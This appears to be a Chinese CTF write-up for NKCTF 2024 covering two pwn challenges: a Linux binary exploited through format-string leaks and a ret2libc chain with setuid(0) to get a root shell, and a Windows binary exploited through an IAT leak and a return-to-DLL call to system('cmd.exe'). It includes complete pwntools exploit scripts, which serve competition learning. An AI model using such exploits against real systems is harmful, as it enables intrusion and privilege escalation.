nyyyddddn

nkctf_wp

2024/03/27

唉咱好菜,就出了两个题,后几题都没有思路

Maimai查分器

子函数这里有一个格式化字符串和栈溢出漏洞,用格式化字符串泄露libc的地址和canary的值,然后打ret2libc就好了,打通后catflag发现没有权限,看了一下challenge文件,有suid权限,所以可以用libc中的setuid(0)函数提权,然后cat flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
unsigned __int64 sub_19EA()
{
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Input your nickname.");
read(0, buf, 8uLL);
printf(buf);
printf(", your rating is: %d\n", (unsigned int)dword_504C);
if ( dword_504C < dword_5010 )
{
puts("I think you should play more maimai.");
exit(0);
}
sub_1984();
return v2 - __readfsqword(0x28u);
}

unsigned __int64 sub_1984()
{
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Big God Coming!");
puts("Can you teach me how to play maimai?");
read(0, buf, 0x80uLL);
return v2 - __readfsqword(0x28u);
}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "node.nkctf.yuzhian.com.cn"
PORT = 30008

elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

def playmaimai():
sla("Select a option:","1")
ru("Input chart level and rank.")

for i in range(50):
sl("234 SSS+")

p = connect()

playmaimai()
sla("Select a option:","2")

payload = "%7$p"
sa("Input your nickname.",payload)
rl()
leak_canary = int(r(18),16)
success(hex(leak_canary))
sla("Can you teach me how to play maimai?","AAAA")


sla("Select a option:","2")
payload = "%13$paa"
# g(p)
sa("Input your nickname.",payload)
rl()
libc_base = int(r(14),16) - 0x29d90
success(hex(libc_base))


rdi = libc_base + 0x000000000002a3e5
ret = libc_base + 0x0000000000029139
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
setuid = libc_base + libc.sym['setuid']

payload = flat([
b'a' * 0x28,leak_canary,b'a' * 0x8,
rdi,0,setuid,
rdi,binsh,system
])

sla("Can you teach me how to play maimai?",payload)

p.interactive()

来签个到

第一次做winpwn 相关的challenge

https://xz.aliyun.com/t/11891?time__1311=mqmx0DBD9DyG0QeDsKoYKIaNzY4AKvNx&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Ft%2F11913%3Ftime__1311%3Dmqmx0DBGnDnDyDBuex2lfgx7KG%253DkmtG8KeD%26alichlgref%3Dhttps%253A%252F%252Fcn.bing.com%252F#toc-1

如何调试:

可以使用 https://github.com/Ex-Origin/win_server这个项目,用pwntool的remote()去连接,连接成功后会开启一个challenge相关的进程,连接成功后先pause(),用windbg attach上去,然后 bp address,g 打断点,之后pwntool那恢复运行,这样就会在断点那断下来

存在一个格式化字符串和栈溢出漏洞,没有pie和nx但是有canary,canary的位置在 ebp - 0xc的位置,尝试了一下%n$p这种表达式发现不太行,只能用大量的%p去泄露canary

利用的思路是泄露canary和动态链接库的地址,然后用动态链接库中的 system()执行 system(“cmd.exe”). ret2dll,

泄露的方式是用puts把iat表给打印出来

1
2
3
4
5
6
7
8
9
10
11
12
int OH()
{
char s[100]; // [esp+18h] [ebp-70h] BYREF

puts("NKCTF2024");
memset(s, 0, sizeof(s));
gets(s);
printf(s);
printf("ohhh,no");
gets(s);
return 1;
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='windows', arch='i386', log_level='debug')

is_debug = 0
IP = "192.168.1.101"
PORT = 9999

IP = "123.60.25.223"
PORT = 10001


def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

payload = "%p-" * 0x3 + "%p" * 27 + "-%p"

# pause()
sla("NKCTF2024",payload)
ru('-')
ru('-')
leak = int(r(8),16)
buf_addr = leak - (0x61fee0 - 0x61fea8)
print(hex(buf_addr))

ru('-')
ru('-')
canary = int(r(8),16)
print(hex(canary))


puts_plt = 0x00403F8C
iat_puts = 0x00409230
main = 0x00401473


payload = b'%s' + b'a' * (0x70 - 0xc - 2) + struct.pack('<I', canary)
payload = payload.ljust(0x74,b'a')
payload += struct.pack('<I', puts_plt)
payload += struct.pack('<I', main)
payload += struct.pack('<I', iat_puts)

sla("ohhh,no",payload)

puts_addr = u32(r(4))
print(hex(puts_addr))

dll_base = puts_addr - 0x1017BA80
system_addr = dll_base + 0x10144700
cmd = dll_base + 0x101048C8
print(hex(dll_base))

payload = b'a' * (0x70 - 0xc) + struct.pack('<I', canary)
payload = payload.ljust(0x74,b'a')
payload += struct.pack('<I', system_addr)
payload += struct.pack('<I', main)
payload += struct.pack('<I', cmd)

sl("AAAA")
sla("ohhh,no",payload)

p.interactive()
CATALOG
  1. 1. Maimai查分器
  2. 2. 来签个到